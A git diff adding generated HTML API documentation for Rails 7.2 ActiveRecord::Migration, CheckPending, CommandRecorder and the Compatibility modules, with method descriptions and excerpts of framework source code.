+    def self.current_version
+      ActiveRecord::VERSION::STRING.to_f
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + disable_ddl_transaction!() + +

+ + +
+

Disable the transaction wrapping this migration. You can still create your own transactions even after calling disable_ddl_transaction!

+ +

For more details read the β€œTransactional Migrations” section above.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/migration.rb, line 748
+      def disable_ddl_transaction!
+        @disable_ddl_transaction = true
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + load_schema_if_pending!() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/migration.rb, line 716
+      def load_schema_if_pending!
+        if any_schema_needs_update?
+          # Roundtrip to Rake to allow plugins to hook into database initialization.
+          root = defined?(ENGINE_ROOT) ? ENGINE_ROOT : Rails.root
+
+          FileUtils.cd(root) do
+            Base.connection_handler.clear_all_connections!(:all)
+            system("bin/rails db:test:prepare")
+          end
+        end
+
+        check_pending_migrations
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + migrate(direction) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/migration.rb, line 740
+      def migrate(direction)
+        new.migrate direction
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + new(name = self.class.name, version = nil) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/migration.rb, line 803
+    def initialize(name = self.class.name, version = nil)
+      @name       = name
+      @version    = version
+      @connection = nil
+      @pool       = nil
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + verbose + +

+ + +
+

Specifies if migrations will write the actions they are taking to the console as they happen, along with benchmarks describing how long each step took. Defaults to true.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/migration.rb, line 800
+    cattr_accessor :verbose
+
+ + πŸ”Ž See on GitHub + +
+ +
+ + + +

Instance Public methods

+ +
+

+ + announce(message) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/migration.rb, line 1008
+    def announce(message)
+      text = "#{version} #{name}: #{message}"
+      length = [0, 75 - text.length].max
+      write "== %s %s" % [text, "=" * length]
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + connection() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/migration.rb, line 1039
+    def connection
+      @connection || ActiveRecord::Tasks::DatabaseTasks.migration_connection
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + connection_pool() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/migration.rb, line 1043
+    def connection_pool
+      @pool || ActiveRecord::Tasks::DatabaseTasks.migration_connection_pool
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + copy(destination, sources, options = {}) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/migration.rb, line 1064
+    def copy(destination, sources, options = {})
+      copied = []
+
+      FileUtils.mkdir_p(destination) unless File.exist?(destination)
+      schema_migration = SchemaMigration::NullSchemaMigration.new
+      internal_metadata = InternalMetadata::NullInternalMetadata.new
+
+      destination_migrations = ActiveRecord::MigrationContext.new(destination, schema_migration, internal_metadata).migrations
+      last = destination_migrations.last
+      sources.each do |scope, path|
+        source_migrations = ActiveRecord::MigrationContext.new(path, schema_migration, internal_metadata).migrations
+
+        source_migrations.each do |migration|
+          source = File.binread(migration.filename)
+          inserted_comment = "# This migration comes from #{scope} (originally #{migration.version})\n"
+          magic_comments = +""
+          loop do
+            # If we have a magic comment in the original migration,
+            # insert our comment after the first newline(end of the magic comment line)
+            # so the magic keep working.
+            # Note that magic comments must be at the first line(except sh-bang).
+            source.sub!(/\A(?:#.*\b(?:en)?coding:\s*\S+|#\s*frozen_string_literal:\s*(?:true|false)).*\n/) do |magic_comment|
+              magic_comments << magic_comment; ""
+            end || break
+          end
+
+          if !magic_comments.empty? && source.start_with?("\n")
+            magic_comments << "\n"
+            source = source[1..-1]
+          end
+
+          source = "#{magic_comments}#{inserted_comment}#{source}"
+
+          if duplicate = destination_migrations.detect { |m| m.name == migration.name }
+            if options[:on_skip] && duplicate.scope != scope.to_s
+              options[:on_skip].call(scope, migration)
+            end
+            next
+          end
+
+          migration.version = next_migration_number(last ? last.version + 1 : 0).to_i
+          new_path = File.join(destination, "#{migration.version}_#{migration.name.underscore}.#{scope}.rb")
+          old_path, migration.filename = migration.filename, new_path
+          last = migration
+
+          File.binwrite(migration.filename, source)
+          copied << migration
+          options[:on_copy].call(scope, migration, old_path) if options[:on_copy]
+          destination_migrations << migration
+        end
+      end
+
+      copied
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + down() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/migration.rb, line 960
+    def down
+      self.class.delegate = self
+      return unless self.class.respond_to?(:down)
+      self.class.down
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + exec_migration(conn, direction) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/migration.rb, line 988
+    def exec_migration(conn, direction)
+      @connection = conn
+      if respond_to?(:change)
+        if direction == :down
+          revert { change }
+        else
+          change
+        end
+      else
+        public_send(direction)
+      end
+    ensure
+      @connection = nil
+      @execution_strategy = nil
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + execution_strategy() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/migration.rb, line 810
+    def execution_strategy
+      @execution_strategy ||= ActiveRecord.migration_strategy.new(self)
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + method_missing(method, *arguments, &block) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/migration.rb, line 1047
+    def method_missing(method, *arguments, &block)
+      say_with_time "#{method}(#{format_arguments(arguments)})" do
+        unless connection.respond_to? :revert
+          unless arguments.empty? || [:execute, :enable_extension, :disable_extension].include?(method)
+            arguments[0] = proper_table_name(arguments.first, table_name_options)
+            if method == :rename_table ||
+              (method == :remove_foreign_key && !arguments.second.is_a?(Hash))
+              arguments[1] = proper_table_name(arguments.second, table_name_options)
+            end
+          end
+        end
+        return super unless execution_strategy.respond_to?(method)
+        execution_strategy.send(method, *arguments, &block)
+      end
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + migrate(direction) + +

+ + +
+

Execute this migration in the named direction

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/migration.rb, line 967
+    def migrate(direction)
+      return unless respond_to?(direction)
+
+      case direction
+      when :up   then announce "migrating"
+      when :down then announce "reverting"
+      end
+
+      time = nil
+      ActiveRecord::Tasks::DatabaseTasks.migration_connection.pool.with_connection do |conn|
+        time = Benchmark.measure do
+          exec_migration(conn, direction)
+        end
+      end
+
+      case direction
+      when :up   then announce "migrated (%.4fs)" % time.real; write
+      when :down then announce "reverted (%.4fs)" % time.real; write
+      end
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + next_migration_number(number) + +

+ + +
+

Determines the version number of the next migration.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/migration.rb, line 1131
+    def next_migration_number(number)
+      if ActiveRecord.timestamped_migrations
+        [Time.now.utc.strftime("%Y%m%d%H%M%S"), "%.14d" % number].max
+      else
+        "%.3d" % number.to_i
+      end
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + proper_table_name(name, options = {}) + +

+ + +
+

Finds the correct table name given an Active Record object. Uses the Active Record object’s own table_name, or pre/suffix from the options passed in.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/migration.rb, line 1122
+    def proper_table_name(name, options = {})
+      if name.respond_to? :table_name
+        name.table_name
+      else
+        "#{options[:table_name_prefix]}#{name}#{options[:table_name_suffix]}"
+      end
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + reversible() + +

+ + +
+

Used to specify an operation that can be run in one direction or another. Call the methods up and down of the yielded object to run a block only in one given direction. The whole block will be called in the right order within the migration.

+ +

In the following example, the looping on users will always be done when the three columns β€˜first_name’, β€˜last_name’ and β€˜full_name’ exist, even when migrating down:

+ +
class SplitNameMigration < ActiveRecord::Migration[7.2]
+  def change
+    add_column :users, :first_name, :string
+    add_column :users, :last_name, :string
+
+    reversible do |dir|
+      User.reset_column_information
+      User.all.each do |u|
+        dir.up   { u.first_name, u.last_name = u.full_name.split(' ') }
+        dir.down { u.full_name = "#{u.first_name} #{u.last_name}" }
+        u.save
+      end
+    end
+
+    revert { add_column :users, :full_name, :string }
+  end
+end
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/migration.rb, line 912
+    def reversible
+      helper = ReversibleBlockHelper.new(reverting?)
+      execute_block { yield helper }
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + revert(*migration_classes, &block) + +

+ + +
+

Reverses the migration commands for the given block and the given migrations.

+ +

The following migration will remove the table β€˜horses’ and create the table β€˜apples’ on the way up, and the reverse on the way down.

+ +
class FixTLMigration < ActiveRecord::Migration[7.2]
+  def change
+    revert do
+      create_table(:horses) do |t|
+        t.text :content
+        t.datetime :remind_at
+      end
+    end
+    create_table(:apples) do |t|
+      t.string :variety
+    end
+  end
+end
+
+ +

Or equivalently, if TenderloveMigration is defined as in the documentation for Migration:

+ +
require_relative "20121212123456_tenderlove_migration"
+
+class FixupTLMigration < ActiveRecord::Migration[7.2]
+  def change
+    revert TenderloveMigration
+
+    create_table(:apples) do |t|
+      t.string :variety
+    end
+  end
+end
+
+ +

This command can be nested.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/migration.rb, line 855
+    def revert(*migration_classes, &block)
+      run(*migration_classes.reverse, revert: true) unless migration_classes.empty?
+      if block_given?
+        if connection.respond_to? :revert
+          connection.revert(&block)
+        else
+          recorder = command_recorder
+          @connection = recorder
+          suppress_messages do
+            connection.revert(&block)
+          end
+          @connection = recorder.delegate
+          recorder.replay(self)
+        end
+      end
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + reverting?() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/migration.rb, line 872
+    def reverting?
+      connection.respond_to?(:reverting) && connection.reverting
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + run(*migration_classes) + +

+ + +
+

Runs the given migration classes. Last argument can specify options:

+
  • +

    :direction - Default is :up.

    +
  • +

    :revert - Default is false.

    +
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/migration.rb, line 940
+    def run(*migration_classes)
+      opts = migration_classes.extract_options!
+      dir = opts[:direction] || :up
+      dir = (dir == :down ? :up : :down) if opts[:revert]
+      if reverting?
+        # If in revert and going :up, say, we want to execute :down without reverting, so
+        revert { run(*migration_classes, direction: dir, revert: true) }
+      else
+        migration_classes.each do |migration_class|
+          migration_class.new.exec_migration(connection, dir)
+        end
+      end
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + say(message, subitem = false) + +

+ + +
+

Takes a message argument and outputs it as is. A second boolean argument can be passed to specify whether to indent or not.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/migration.rb, line 1016
+    def say(message, subitem = false)
+      write "#{subitem ? "   ->" : "--"} #{message}"
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + say_with_time(message) + +

+ + +
+

Outputs text along with how long it took to run its block. If the block returns an integer it assumes it is the number of rows affected.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/migration.rb, line 1022
+    def say_with_time(message)
+      say(message)
+      result = nil
+      time = Benchmark.measure { result = yield }
+      say "%.4fs" % time.real, :subitem
+      say("#{result} rows", :subitem) if result.is_a?(Integer)
+      result
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + suppress_messages() + +

+ + +
+

Takes a block as an argument and suppresses any output generated by the block.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/migration.rb, line 1032
+    def suppress_messages
+      save, self.verbose = verbose, false
+      yield
+    ensure
+      self.verbose = save
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + up() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/migration.rb, line 954
+    def up
+      self.class.delegate = self
+      return unless self.class.respond_to?(:up)
+      self.class.up
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + up_only(&block) + +

+ + +
+

Used to specify an operation that is only run when migrating up (for example, populating a new column with its initial values).

+ +

In the following example, the new column published will be given the value true for all existing records.

+ +
class AddPublishedToPosts < ActiveRecord::Migration[7.2]
+  def change
+    add_column :posts, :published, :boolean, default: false
+    up_only do
+      execute "update posts set published = 'true'"
+    end
+  end
+end
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/migration.rb, line 931
+    def up_only(&block)
+      execute_block(&block) unless reverting?
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + write(text = "") + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/migration.rb, line 1004
+    def write(text = "")
+      puts(text) if verbose
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveRecord/Migration/CheckPending.html b/src/7.2/classes/ActiveRecord/Migration/CheckPending.html new file mode 100644 index 0000000000..70ee93947b --- /dev/null +++ b/src/7.2/classes/ActiveRecord/Migration/CheckPending.html @@ -0,0 +1,172 @@ +--- +title: ActiveRecord::Migration::CheckPending +layout: default +--- +
+ +
+
+ +
+ +

This class is used to verify that all migrations have been run before loading a web page if config.active_record.migration_error is set to :page_load.

+ +
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + +

Class Public methods

+ +
+

+ + new(app, file_watcher: ActiveSupport::FileUpdateChecker) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/migration.rb, line 652
+      def initialize(app, file_watcher: ActiveSupport::FileUpdateChecker)
+        @app = app
+        @needs_check = true
+        @mutex = Mutex.new
+        @file_watcher = file_watcher
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + +

Instance Public methods

+ +
+

+ + call(env) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/migration.rb, line 659
+      def call(env)
+        @mutex.synchronize do
+          @watcher ||= build_watcher do
+            @needs_check = true
+            ActiveRecord::Migration.check_pending_migrations
+            @needs_check = false
+          end
+
+          if @needs_check
+            @watcher.execute
+          else
+            @watcher.execute_if_updated
+          end
+        end
+
+        @app.call(env)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveRecord/Migration/CommandRecorder.html b/src/7.2/classes/ActiveRecord/Migration/CommandRecorder.html new file mode 100644 index 0000000000..e8fdf4abff --- /dev/null +++ b/src/7.2/classes/ActiveRecord/Migration/CommandRecorder.html @@ -0,0 +1,438 @@ +--- +title: ActiveRecord::Migration::CommandRecorder +layout: default +--- +
+ +
+
+ +
+ +

Migration Command Recorder

+ +

ActiveRecord::Migration::CommandRecorder records commands done during a migration and knows how to reverse those commands. The CommandRecorder knows how to invert the following commands:

+
  • +

    add_column

    +
  • +

    add_foreign_key

    +
  • +

    add_check_constraint

    +
  • +

    add_exclusion_constraint

    +
  • +

    add_unique_constraint

    +
  • +

    add_index

    +
  • +

    add_reference

    +
  • +

    add_timestamps

    +
  • +

    change_column_default (must supply a :from and :to option)

    +
  • +

    change_column_null

    +
  • +

    change_column_comment (must supply a :from and :to option)

    +
  • +

    change_table_comment (must supply a :from and :to option)

    +
  • +

    create_enum

    +
  • +

    create_join_table

    +
  • +

    create_table

    +
  • +

    disable_extension

    +
  • +

    drop_enum (must supply a list of values)

    +
  • +

    drop_join_table

    +
  • +

    drop_table (must supply a block)

    +
  • +

    enable_extension

    +
  • +

    remove_column (must supply a type)

    +
  • +

    remove_columns (must supply a :type option)

    +
  • +

    remove_foreign_key (must supply a second table)

    +
  • +

    remove_check_constraint

    +
  • +

    remove_exclusion_constraint

    +
  • +

    remove_unique_constraint

    +
  • +

    remove_index

    +
  • +

    remove_reference

    +
  • +

    remove_timestamps

    +
  • +

    rename_column

    +
  • +

    rename_enum (must supply a :to option)

    +
  • +

    rename_enum_value (must supply a :from and :to option)

    +
  • +

    rename_index

    +
  • +

    rename_table

    +
+ +
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + +

Constants

+ + + + + + + + + +
ReversibleAndIrreversibleMethods=[ +:create_table, :create_join_table, :rename_table, :add_column, :remove_column, +:rename_index, :rename_column, :add_index, :remove_index, :add_timestamps, :remove_timestamps, +:change_column_default, :add_reference, :remove_reference, :transaction, +:drop_join_table, :drop_table, :execute_block, :enable_extension, :disable_extension, +:change_column, :execute, :remove_columns, :change_column_null, +:add_foreign_key, :remove_foreign_key, +:change_column_comment, :change_table_comment, +:add_check_constraint, :remove_check_constraint, +:add_exclusion_constraint, :remove_exclusion_constraint, +:add_unique_constraint, :remove_unique_constraint, +:create_enum, :drop_enum, :rename_enum, :add_enum_value, :rename_enum_value, +]
+ + + + +

Attributes

+ + + + + + + + + + + + + + + + + + + + +
+ [RW] + commands
+ [RW] + delegate
+ [RW] + reverting
+ + + + +

Class Public methods

+ +
+

+ + new(delegate = nil) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/migration/command_recorder.rb, line 63
+      def initialize(delegate = nil)
+        @commands = []
+        @delegate = delegate
+        @reverting = false
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + +

Instance Public methods

+ +
+

+ + inverse_of(command, args, &block) + +

+ + +
+

Returns the inverse of the given command. For example:

+ +
recorder.inverse_of(:rename_table, [:old, :new])
+# => [:rename_table, [:new, :old]]
+
+ +

If the inverse of a command requires several commands, returns array of commands.

+ +
recorder.inverse_of(:remove_columns, [:some_table, :foo, :bar, type: :string])
+# => [[:add_column, :some_table, :foo, :string], [:add_column, :some_table, :bar, :string]]
+
+ +

This method will raise an IrreversibleMigration exception if it cannot invert the command.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/migration/command_recorder.rb, line 110
+      def inverse_of(command, args, &block)
+        method = :"invert_#{command}"
+        raise IrreversibleMigration, <<~MSG unless respond_to?(method, true)
+          This migration uses #{command}, which is not automatically reversible.
+          To make the migration reversible you can either:
+          1. Define #up and #down methods in place of the #change method.
+          2. Use the #reversible method to define reversible behavior.
+        MSG
+        send(method, args, &block)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + record(*command, &block) + +

+ + +
+

Record command. command should be a method name and arguments. For example:

+ +
recorder.record(:method_name, [:arg1, :arg2])
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/migration/command_recorder.rb, line 90
+      def record(*command, &block)
+        if @reverting
+          @commands << inverse_of(*command, &block)
+        else
+          @commands << (command << block)
+        end
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + replay(migration) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/migration/command_recorder.rb, line 144
+      def replay(migration)
+        commands.each do |cmd, args, block|
+          migration.send(cmd, *args, &block)
+        end
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + revert() + +

+ + +
+

While executing the given block, the recorded will be in reverting mode. All commands recorded will end up being recorded reverted and in reverse order. For example:

+ +
recorder.revert{ recorder.record(:rename_table, [:old, :new]) }
+# same effect as recorder.record(:rename_table, [:new, :old])
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/migration/command_recorder.rb, line 76
+      def revert
+        @reverting = !@reverting
+        previous = @commands
+        @commands = []
+        yield
+      ensure
+        @commands = previous.concat(@commands.reverse)
+        @reverting = !@reverting
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveRecord/Migration/Compatibility.html b/src/7.2/classes/ActiveRecord/Migration/Compatibility.html new file mode 100644 index 0000000000..cf128ed704 --- /dev/null +++ b/src/7.2/classes/ActiveRecord/Migration/Compatibility.html @@ -0,0 +1,81 @@ +--- +title: ActiveRecord::Migration::Compatibility +layout: default +--- +
+ +
+ + +
+
diff --git a/src/7.2/classes/ActiveRecord/Migration/Compatibility/V4_2.html b/src/7.2/classes/ActiveRecord/Migration/Compatibility/V4_2.html new file mode 100644 index 0000000000..88c92c921b --- /dev/null +++ b/src/7.2/classes/ActiveRecord/Migration/Compatibility/V4_2.html @@ -0,0 +1,73 @@ +--- +title: ActiveRecord::Migration::Compatibility::V4_2 +layout: default +--- +
+ +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveRecord/Migration/Compatibility/V4_2/TableDefinition.html b/src/7.2/classes/ActiveRecord/Migration/Compatibility/V4_2/TableDefinition.html new file mode 100644 index 0000000000..f36f9ef512 --- /dev/null +++ b/src/7.2/classes/ActiveRecord/Migration/Compatibility/V4_2/TableDefinition.html @@ -0,0 +1,54 @@ +--- +title: ActiveRecord::Migration::Compatibility::V4_2::TableDefinition +layout: default +--- +
+ +
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveRecord/Migration/Compatibility/V5_0.html b/src/7.2/classes/ActiveRecord/Migration/Compatibility/V5_0.html new file mode 100644 index 0000000000..da567c5592 --- /dev/null +++ b/src/7.2/classes/ActiveRecord/Migration/Compatibility/V5_0.html @@ -0,0 +1,73 @@ +--- +title: ActiveRecord::Migration::Compatibility::V5_0 +layout: default +--- +
+ +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveRecord/Migration/Compatibility/V5_0/TableDefinition.html b/src/7.2/classes/ActiveRecord/Migration/Compatibility/V5_0/TableDefinition.html new file mode 100644 index 0000000000..28fd98fd01 --- /dev/null +++ b/src/7.2/classes/ActiveRecord/Migration/Compatibility/V5_0/TableDefinition.html @@ -0,0 +1,54 @@ +--- +title: ActiveRecord::Migration::Compatibility::V5_0::TableDefinition +layout: default +--- +
+ +
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveRecord/Migration/Compatibility/V5_1.html b/src/7.2/classes/ActiveRecord/Migration/Compatibility/V5_1.html new file mode 100644 index 0000000000..d631a5e1ea --- /dev/null +++ b/src/7.2/classes/ActiveRecord/Migration/Compatibility/V5_1.html @@ -0,0 +1,60 @@ +--- +title: ActiveRecord::Migration::Compatibility::V5_1 +layout: default +--- +
+ +
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveRecord/Migration/Compatibility/V5_2.html b/src/7.2/classes/ActiveRecord/Migration/Compatibility/V5_2.html new file mode 100644 index 0000000000..6e29ea8146 --- /dev/null +++ b/src/7.2/classes/ActiveRecord/Migration/Compatibility/V5_2.html @@ -0,0 +1,75 @@ +--- +title: ActiveRecord::Migration::Compatibility::V5_2 +layout: default +--- +
+ +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveRecord/Migration/Compatibility/V5_2/CommandRecorder.html b/src/7.2/classes/ActiveRecord/Migration/Compatibility/V5_2/CommandRecorder.html new file mode 100644 index 0000000000..8944780014 --- /dev/null +++ b/src/7.2/classes/ActiveRecord/Migration/Compatibility/V5_2/CommandRecorder.html @@ -0,0 +1,54 @@ +--- +title: ActiveRecord::Migration::Compatibility::V5_2::CommandRecorder +layout: default +--- +
+ +
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveRecord/Migration/Compatibility/V5_2/TableDefinition.html b/src/7.2/classes/ActiveRecord/Migration/Compatibility/V5_2/TableDefinition.html new file mode 100644 index 0000000000..1af2a2fd1d --- /dev/null +++ b/src/7.2/classes/ActiveRecord/Migration/Compatibility/V5_2/TableDefinition.html @@ -0,0 +1,54 @@ +--- +title: ActiveRecord::Migration::Compatibility::V5_2::TableDefinition +layout: default +--- +
+ +
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveRecord/Migration/Compatibility/V6_0.html b/src/7.2/classes/ActiveRecord/Migration/Compatibility/V6_0.html new file mode 100644 index 0000000000..a464e11278 --- /dev/null +++ b/src/7.2/classes/ActiveRecord/Migration/Compatibility/V6_0.html @@ -0,0 +1,80 @@ +--- +title: ActiveRecord::Migration::Compatibility::V6_0 +layout: default +--- +
+ +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveRecord/Migration/Compatibility/V6_0/ReferenceDefinition.html b/src/7.2/classes/ActiveRecord/Migration/Compatibility/V6_0/ReferenceDefinition.html new file mode 100644 index 0000000000..4cbc467bdc --- /dev/null +++ b/src/7.2/classes/ActiveRecord/Migration/Compatibility/V6_0/ReferenceDefinition.html @@ -0,0 +1,60 @@ +--- +title: ActiveRecord::Migration::Compatibility::V6_0::ReferenceDefinition +layout: default +--- +
+ +
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveRecord/Migration/Compatibility/V6_0/TableDefinition.html b/src/7.2/classes/ActiveRecord/Migration/Compatibility/V6_0/TableDefinition.html new file mode 100644 index 0000000000..f23b25da63 --- /dev/null +++ b/src/7.2/classes/ActiveRecord/Migration/Compatibility/V6_0/TableDefinition.html @@ -0,0 +1,54 @@ +--- +title: ActiveRecord::Migration::Compatibility::V6_0::TableDefinition +layout: default +--- +
+ +
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveRecord/Migration/Compatibility/V6_1.html b/src/7.2/classes/ActiveRecord/Migration/Compatibility/V6_1.html new file mode 100644 index 0000000000..db0679d018 --- /dev/null +++ b/src/7.2/classes/ActiveRecord/Migration/Compatibility/V6_1.html @@ -0,0 +1,80 @@ +--- +title: ActiveRecord::Migration::Compatibility::V6_1 +layout: default +--- +
+ +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveRecord/Migration/Compatibility/V6_1/PostgreSQLCompat.html b/src/7.2/classes/ActiveRecord/Migration/Compatibility/V6_1/PostgreSQLCompat.html new file mode 100644 index 0000000000..0de8c97a00 --- /dev/null +++ b/src/7.2/classes/ActiveRecord/Migration/Compatibility/V6_1/PostgreSQLCompat.html @@ -0,0 +1,60 @@ +--- +title: ActiveRecord::Migration::Compatibility::V6_1::PostgreSQLCompat +layout: default +--- +
+ +
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveRecord/Migration/Compatibility/V6_1/TableDefinition.html b/src/7.2/classes/ActiveRecord/Migration/Compatibility/V6_1/TableDefinition.html new file mode 100644 index 0000000000..6dae1128d8 --- /dev/null +++ b/src/7.2/classes/ActiveRecord/Migration/Compatibility/V6_1/TableDefinition.html @@ -0,0 +1,54 @@ +--- +title: ActiveRecord::Migration::Compatibility::V6_1::TableDefinition +layout: default +--- +
+ +
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveRecord/Migration/Compatibility/V7_0.html b/src/7.2/classes/ActiveRecord/Migration/Compatibility/V7_0.html new file mode 100644 index 0000000000..7781197c5d --- /dev/null +++ b/src/7.2/classes/ActiveRecord/Migration/Compatibility/V7_0.html @@ -0,0 +1,75 @@ +--- +title: ActiveRecord::Migration::Compatibility::V7_0 +layout: default +--- +
+ +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveRecord/Migration/Compatibility/V7_0/LegacyIndexName.html b/src/7.2/classes/ActiveRecord/Migration/Compatibility/V7_0/LegacyIndexName.html new file mode 100644 index 0000000000..35780162ea --- /dev/null +++ b/src/7.2/classes/ActiveRecord/Migration/Compatibility/V7_0/LegacyIndexName.html @@ -0,0 +1,54 @@ +--- +title: ActiveRecord::Migration::Compatibility::V7_0::LegacyIndexName +layout: default +--- +
+ +
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
